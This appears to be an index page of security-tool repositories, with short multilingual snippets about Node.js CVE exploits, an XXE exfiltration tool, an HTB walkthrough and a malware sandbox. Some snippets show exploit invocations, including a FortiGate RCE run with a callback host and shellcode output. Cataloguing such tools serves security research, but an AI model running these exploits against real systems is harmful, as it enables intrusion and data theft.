xxexploiter

XXExploiter Es generiert die XML-Payloads und startet automatisch einen Server, um die benötigten DTDs bereitzustellen oder Datenexfiltration durchzuführen. Installation root@kitploit: install node and npm if you don't have it yet npm install -g xxexploiter Erstellen und Ausführen aus dem Quellco...

CVE-2019-12840-NodeJs-Exploit

CVE-2019-12840 root@kitploit: sudo node exploit.js...

CVE-2014-4688-NodeJs-Exploit

CVE-2014-4688 root@kitploit: sudo node --no-warnings exploit.js...

HTB-Reactor-Linux-Machine-Walkthrough

HTB: Reactor !CAUTION Aviso de spoiler. Este é um passo a passo completo, incluindo as flags. Se você quiser resolver a máquina sozinho, feche isto agora e volte quando estiver travado. Informações da Máquina Campo| Detalhes ---|--- Nome| Reactor SO| Ubuntu 24.04 LTS Noble Dificuldade| Média CVE|...

CVE-2026-0776

CVE-2026-0776 - Elemento de Caminho de Pesquisa Não Controlado no Cliente Discord Resumo Este repositório documenta a CVE-2026-0776, um problema de execução local de código que afeta o cliente desktop do Discord no Windows. A vulnerabilidade está relacionada a um comportamento inseguro de resoluç...

CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework

CVE-2026-44680 - Framework de Exploit de Injeção SQL do MikroORM Ferramenta Profissional de Prova de Conceito para Pesquisadores de Segurança 🔍 Visão Geral CVE-2026-44680 é uma vulnerabilidade crítica de injeção SQL que afeta o MikroORM, um ORM TypeScript popular para Node.js. Este framework de...

node-poc-http-smuggling

Este repositorio nao tem um README...

malware-jail

malware-jail Sandbox para análise semi-automática de malware JavaScript, desofuscação e extração de payload. Escrito para Node.js malware-jail é escrito para a sandbox 'vm' do Node. Atualmente implementa o contexto WScript Windows Scripting Host env/wscript.js, pelo menos a parte frequentemente...

CVE-2024-38355-PoC

CVE-2024-38355 डेमो Socket.IO क्रैश यह प्रोजेक्ट CVE-2024-38355 का एक प्रूफ ऑफ कॉन्सेप्ट है, जो socket.io में एक डिनायल-ऑफ-सर्विस भेद्यता है। यह प्रोजेक्ट शैक्षिक उद्देश्यों के लिए बनाया गया है ताकि हमले की प्रक्रिया और एप्लिकेशन को सुरक्षित रखने के तरीके को दिखाया जा सके। भेद्यता के बारे में...

cve-2022-32223

CVE-2022-32223 CVE-2022-32223 के शोषण प्रदर्शन को उत्पन्न करने के लिए स्रोत फ़ाइलें: Node.js विंडोज प्लेटफॉर्म पर कुछ शर्तों के तहत निष्पादन प्रवाह अपहरण: DLL हाइजैकिंग के प्रति संवेदनशील है। इस कमजोरी का शोषण तब किया जा सकता है जब पीड़ित के पास विंडोज मशीन पर निम्नलिखित निर्भरताएँ हों: OpenSSL...

CVE-2026-15603

morgan (HTTP request logger middleware for Node.js) is affected by a log forging issue (CWE-117) in versions prior to 1.12.0 . The internal helper that escapes log token values failed to neutralize Unicode line separator characters U+0085 , U+2028 , and U+2029 . An unauthenticated remote client c...

jsPDF-Bulk-Detector-CVE-2025-68428-

🚨 Detector em Massa de jsPDF – CVE-2025-68428 🚨 Ferramenta de detecção em toda a base de ativos para identificar o uso de jsPDF relacionado à CVE-2025-68428. Apenas detecção — sem exploração. 🚨 Contexto Uma vulnerabilidade crítica foi divulgada na popular biblioteca JavaScript de geração de PDF...

NodeGoat

NodeGoat Essendo leggero, veloce e scalabile, Node.js sta diventando una piattaforma ampiamente adottata per lo sviluppo di applicazioni web. Questo progetto fornisce un ambiente per apprendere come i rischi di sicurezza OWASP Top 10 si applicano alle applicazioni web sviluppate con Node.js e com...

CVE-2019-10915

La vulnerabilità è un bypass dell'autenticazione nel server TIA Administrator. Un attaccante potrebbe eseguire comandi arbitrari dell'applicazione tramite websockets sul server node.js che è esposto esternamente per impostazione predefinita. Sfruttando questa vulnerabilità, un attaccante remoto n...

CVE-2025-69985

FUXA ≤ 1.2.8 Bypass di Autenticazione + RCE CVE-2025-69985 📜 Descrizione Questo exploit Python sfrutta CVE-2025-69985, una vulnerabilità critica di bypass di autenticazione in FUXA software SCADA/HMI basato sul web versione ≤ 1.2.8. Inviando un payload JSON modificato con codice Node.js incorpora...

CVE-2023-27997

CVE-2023-27997 FortiGate VM64 7.2.0 è sfruttabile da questo codice. nota che il codice è stato scritto in modo molto stupido. Prova di Concetto root@kitploit: $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash...

airo-heat

airoheat Repository del team T1GR3$ all'hackathon di Cybercamp 2018 Presentazione finale a Cybercamp 2018: https://www.youtube.com/watch?v=l-iBtYxHAbQ Video utilizzato a Cybercamp 2018: https://www.youtube.com/watch?v=0DEitQNn7GQ Aircrack-ng Installazione modificata sudo apt-get install...

tiktok-scraper

TikTok Scraper & Downloader Scrapen und laden Sie nützliche Informationen von TikTok herunter. Es ist kein Login oder Passwort erforderlich. Dies ist keine offizielle API-Unterstützung usw. Dies ist lediglich ein Scraper, der die TikTok-Web-API zum Scrapen von Medien verwendet. Features Scrapen v...

CVE-2019-5010

CVE-2019-5010 Autore: Jonathan M. Wilbur Anno di copyright: 2019 Licenza: MIT License Come usare 1. Installa tutte le dipendenze eseguendo npm install. 2. Compila il progetto usando npm run build. 3. Esegui node ./dist/index.js per creare il certificato malevolo in ./dist/cve-2019-5010-cert.pem. ...

CVE-2018-16492

extend per Node.js node-extend è una portabilità del classico metodo extend di jQuery. Si comporta come ci si aspetta. È semplice, provato e collaudato. Note: Da Node.js = 4, Object.assign offre ora la stessa funzionalità nativamente ma senza l'opzione "copia profonda". Vedi...